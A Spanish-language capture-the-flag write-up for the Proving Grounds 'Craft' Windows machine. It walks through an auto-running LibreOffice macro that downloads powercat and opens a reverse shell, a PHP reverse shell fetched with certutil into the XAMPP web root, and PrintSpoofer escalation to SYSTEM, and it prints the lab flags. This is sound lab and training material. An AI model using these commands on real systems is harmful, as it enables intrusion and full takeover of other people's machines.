the_open_door
café
ESEN

Craft

Proving Grounds PracticeMediaWindows192.168.123.169

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#file-upload#libreoffice-macro#odt#powercat#xampp#apache#printspoofer#seimpersonate#user-pivoting#rce#oscp
TL;DR. Craft solo expone un puerto 80 con un formulario que acepta ficheros ODT. Subimos un documento de LibreOffice con una macro Basic ligada al evento Open Document que se autoejecuta y nos da shell como craft\thecybergeek (macro RCE). Como ese usuario puede escribir en el htdocs de XAMPP, dejamos un PHP que ejecuta el servidor Apache y pivotamos a craft\apache (subida de archivos). Esa cuenta de servicio tiene SeImpersonatePrivilege, así que PrintSpoofer (PrintSpoofer, familia Potato) nos lleva a nt authority\system.

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo solo encuentra un puerto abierto:

ping -c 1 192.168.123.169
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.169
PORT   STATE SERVICE
80/tcp open  http
nmap -p80 -sCV 192.168.123.169 -oN targetedScan
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 125

Toda la superficie de ataque está en el 80. El reconocimiento de servicios falla con el ping por defecto (la máquina no responde a ICMP en ese momento), pero el puerto está vivo: hay que tirar de enumeración web.

HTTP - TCP 80

Lanzamos dirsearch filtrando el ruido de códigos no útiles:

dirsearch -u http://192.168.123.169/ -t 200 --exclude-status=404,403,521,401,302,503
301  /js  ->  /js/
301  /assets  ->  /assets/
200  /cgi-bin/printenv.pl
200  /upload.php
200  /uploads/
301  /uploads  ->  /uploads/

Hay un /upload.php y un directorio /uploads/ listable. La combinación subir + servir es el patrón clásico de RCE por subida de archivos, así que lo investigamos.

Explotación

El formulario solo acepta ODT

La página "Join Us" es un formulario de subida de currículos. El primer instinto es subir una webshell PHP:

Formulario "Join our Team, Submit your resume" con rev.php seleccionado y el botón Upload

Pero el formulario la rechaza: valida el tipo de fichero y exige un documento ODT (el formato de LibreOffice/OpenOffice Writer):

upload.php responde "File is not valid. Please submit ODT file"

Que pida un ODT cambia el vector. Los documentos de LibreOffice pueden incrustar macros Basic, y una macro ligada al evento de apertura se ejecuta del lado de quien abre el documento. Si en el servidor hay un proceso que abre los ODT subidos, una macro nos da ejecución de comandos (macro RCE).

Construir el ODT armado

Creamos un documento vacío y lo abrimos con LibreOffice Writer (la barra "Macros disabled" es solo la advertencia por defecto):

touch testt.odt
libreoffice testt.odt

Terminal creando testt.odt y LibreOffice Writer abierto con la barra "Macros disabled"

Abrimos el editor de macros por Herramientas > Macros > Editar macros (submenú Organize Macros > Basic):

Menú Tools > Macros > Organize Macros > Basic de LibreOffice

Creamos un módulo nuevo dentro del propio documento (así viaja con el ODT):

Diálogo de macros Basic: el documento testt.odt seleccionado y el botón New para crear el módulo

Y escribimos una rutina Main que lance una reverse shell con powercat. La macro descarga powercat.ps1 en memoria y abre la conexión hacia nuestro listener:

Editor de LibreOffice Basic con la macro: Sub Main / shell("cmd /c powershell IEX ... powercat -c 192.168.45.244 -p 135 -e powershell") / End Sub, en el módulo command_injection

Sub Main
    shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.244/powercat.ps1');powercat -c 192.168.45.244 -p 135 -e powershell")
End Sub

La pieza que lo convierte en autoejecutable es ligar la macro al evento Open Document. La opción no está donde se espera: no cuelga del submenú de macros sino del final del menú Tools, en Customize, la última entrada antes de Options.

el menú Tools de LibreOffice Writer desplegado sobre testt.odt, con Customize resaltado al final de la lista, justo debajo de XML Filter Settings

Tools
  Spelling...                F7
  Macros                     >
  Development Tools
  XML Filter Settings...
  Customize...
  Options...                 Alt+F12

Desde ahí, en Personalizar > Eventos asignamos nuestra macro Main (dentro de testt.odt > command_injection) al evento Open Document: así, en cuanto el servidor abra el ODT, la macro se dispara sin interacción:

Diálogo Customize > Events: el evento "Open Document" seleccionado y el Macro Selector asignando testt.odt > command_injection > Main

Subir el ODT y recibir shell

Descargamos powercat.ps1, lo servimos por HTTP y dejamos un nc a la escucha en el 135:

wget https://raw.githubusercontent.com/besimorhino/powercat/refs/heads/master/powercat.ps1
python3 -m http.server 80
rlwrap nc -nlvp 135

Dos terminales: python3 -m http.server 80 sirviendo y rlwrap nc -nlvp 135 escuchando

Subimos el testt.odt por el formulario:

Formulario de subida con testt.odt seleccionado

Cuando el proceso del servidor abre el documento, la macro descarga powercat (se ve el GET /powercat.ps1 200 en el servidor) y conecta contra nuestro listener. Obtenemos shell como craft\thecybergeek:

El http.server registra GET /powercat.ps1 200 y el listener del 135 recibe una PowerShell; whoami devuelve craft\thecybergeek

192.168.122.169 - - [18/Jan/2026 14:56:11] "GET /powercat.ps1 HTTP/1.1" 200 -
connect to [192.168.45.177] from (UNKNOWN) [192.168.122.169] 50077

PS C:\Program Files\LibreOffice\program> whoami
craft\thecybergeek

Post-explotación

Local

type local.txt; ipconfig; whoami; hostname

local.txt leída como craft\thecybergeek en la máquina CRAFT

577a248ea0686fac1d250145cee9e76a
craft\thecybergeek

Pivote a apache: webshell en el htdocs de XAMPP

El usuario thecybergeek no tiene privilegios interesantes. Enumerando C:\Users vemos que hay una cuenta apache, lo que sugiere que el servidor web corre bajo su propia identidad:

dir C:\Users mostrando Administrator, apache, Public y thecybergeek

En la raíz del disco está la instalación de XAMPP, y su árbol incluye htdocs:

dir C:\ mostrando la carpeta xampp, y dir C:\xampp con apache, htdocs, install...

C:\xampp\htdocs es la raíz web y es escribible por nuestra cuenta. Listamos el directorio y vemos el upload.php original junto a uploads/:

dir de C:\xampp\htdocs mostrando assets, css, js, uploads, index.php y upload.php

Si dejamos ahí un PHP, lo ejecuta el proceso de Apache, que corre con su propia cuenta de servicio. Para la reverse shell PHP tiramos de revshells.com con la plantilla PHP Ivan Sincek y el puerto 445:

revshells.com "Reverse Shell Generator": PHP Ivan Sincek, OS Windows, listener sudo nc -lvnp 445, IP 192.168.45.244

Guardamos la plantilla como rev.php, la traemos con certutil al htdocs y confirmamos que aterriza:

certutil.exe -f -urlcache http://192.168.45.244/rev.php rev.php

nano rev.php, certutil descargando rev.php a htdocs, "URLCache command completed successfully" y dir mostrando rev.php en C:\xampp\htdocs

Al visitar http://192.168.123.169/rev.php el servidor ejecuta el código y nuestro listener recibe la conexión como craft\apache:

rev.php ejecutado desde el navegador; el listener en el 445 recibe shell y whoami devuelve craft\apache

SOCKET: Shell has connected! PID: 684
Microsoft Windows [Version 10.0.17763.2029]

C:\xampp\htdocs>whoami
craft\apache

Escalada: SeImpersonate + PrintSpoofer

La cuenta de servicio apache sí tiene el privilegio que buscábamos:

whoami /priv

whoami /priv de craft\apache: SeImpersonatePrivilege y SeCreateGlobalPrivilege Enabled, Windows Server 2019 Standard

Privilege Name                Description                               State
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled

SeImpersonatePrivilege habilitado es la entrada de la familia Potato: una cuenta de servicio con este privilegio puede impersonar el token de un proceso SYSTEM que coaccionamos a conectarse a un named pipe nuestro (abuso de SeImpersonate). Sobre Server 2019, PrintSpoofer (repo) abusa del servicio de cola de impresión para forzar esa conexión y suele funcionar donde JuicyPotato ya está mitigado (PrintSpoofer). Lo servimos por HTTP y lo traemos:

locate printspoofer.exe; cp <ruta>/printspoofer.exe .
python3 -m http.server 8080

locate printspoofer.exe, cp al directorio actual y python3 -m http.server 8080 sirviendo

$ locate printspoofer.exe
/proving_grounds/nagoya/exploits/printspoofer.exe

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe
.\printspoofer.exe -i -c cmd

PrintSpoofer encuentra SeImpersonatePrivilege, deja un named pipe a la escucha, CreateProcessAsUser OK y la nueva shell devuelve nt authority\system

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

C:\Windows\system32>whoami
nt authority\system

Proof

type proof.txt & ipconfig & hostname & whoami

proof.txt leída como nt authority\system en CRAFT (192.168.123.169)

d7ff8fe40201d014f2818bf9fc7e31d9
nt authority\system

Cadena de ataque

HTTP (80)  --  /upload.php acepta solo ODT (rechaza PHP)
        │  macro Basic ligada a "Open Document" en el ODT -> powercat
        ▼
shell como craft\thecybergeek  (local.txt)
        │  C:\xampp\htdocs escribible -> rev.php ejecutado por Apache
        ▼
shell como craft\apache
        │  SeImpersonatePrivilege Enabled -> PrintSpoofer
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • Validar la extensión no valida el contenido. El formulario rechazaba PHP y solo aceptaba ODT, pero un ODT no es inocuo: incrusta macros que se ejecutan al abrirlo. Filtrar por tipo de fichero sin considerar qué hace ese tipo deja la puerta abierta.
  • La autoejecución vive en el evento, no en la macro. Escribir la macro no basta; lo que la vuelve un arma es ligarla al evento Open Document. Así el simple hecho de que el servidor abra el ODT dispara el código sin interacción.
  • Un mismo host puede dar varias identidades. Pasamos de thecybergeek a apache simplemente dejando un fichero en el htdocs que el servidor web ejecuta con su propia cuenta. Las rutas escribibles servidas por un servicio son una vía de pivote clásica.
  • SeImpersonatePrivilege en cuentas de servicio = SYSTEM. Apache lo tenía por diseño; PrintSpoofer lo convirtió en escalada total. En Server 2019 es la variante preferida frente al ya mitigado JuicyPotato.
Cheatsheet de comandos 12 comandos

Repaso rápido